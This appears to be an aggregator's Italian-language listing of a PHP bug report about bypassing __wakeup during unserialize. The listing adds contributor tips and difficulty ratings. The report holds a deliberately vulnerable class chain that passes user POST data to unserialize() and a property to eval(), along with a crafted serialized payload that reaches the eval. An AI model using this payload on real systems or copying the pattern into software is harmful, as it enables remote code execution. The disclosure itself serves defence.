unserialize __wakeup bypass
Nessuno ha ancora preso questa issue.
- Lingua principale
- C
- Stelle
- 40.4k
- Fork
- 8.2k
- Merge medio
- 2g 13h
- PR unite (30g)
- 96
Descrizione
Description
The following code:
<?php
class A
{
public $info;
private $end = "1";
public function __destruct()
{
$this->info->func();
}
}
class B
{
public $end;
public function __wakeup()
{
$this->end = "exit();";
echo '__wakeup';
}
public function __call($method, $args)
{
eval('echo "aaaa";' . $this->end . 'echo "bbb"');
}
}
unserialize($_POST['data']);
I found an interesting bug. When the deserialized string contains a variable name with the wrong string length, the deserialization continues, but the __destruct() function is called before __wakeup is called. This way you can bypass __wakeup().
I've tested it on some versions and I'm not sure if others have this problem, it's also useful in the latest version.
- 7.4.x -7.4.30
- 8.0.x
[POST]data=O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"end";N;}s:6:"Aend";s:1:"1";}
This event also is triggered when
- delete )
- Inconsistent number of class attributes
- The length of the attribute key does not match.
- The length of the attribute value does not match.
- delete ;
Expected Results:
aaaa bbb __wakeup
PHP Version
PHP 7.4.x PHP8.0.x
Operating System
Windows/Linux
Guida per i contributori
Apri la guida per i contributori
Come iniziare
- Leggi tutta la issue e poi la guida ai contributi del progetto.
- Commenta sulla issue per dire che te ne occupi tu — evita che due persone facciano lo stesso lavoro.
- Fai un fork del repository e lavora su un branch.
- Apri una pull request che faccia riferimento al numero della issue.
Direzione di ricerca
Inizia riproducendo i dati POST forniti con le versioni 7.4 e 8.0 di PHP indicate, quindi traccia il ciclo di vita di unserialize attorno a B::__wakeup() e A::__destruct(). Confronta l'ordine osservato con l'output previsto e determina un'invariante del ciclo di vita verificabile tramite test; l'issue non identifica alcun file sorgente né specifica la correzione desiderata.
Scritto dal modello di indicizzazione a partire dal testo della issue.
Valutazione
- Stack tecnologico
- php
- Ambito
- backend, security
- Tipo di issue
- Bug
- Difficoltà
- 5/5
- Tempo stimato
- Più di una settimana
- Stato di attività
- Ferma
- Chiarezza
- Da chiarire
- Idoneità per principianti
- 25/100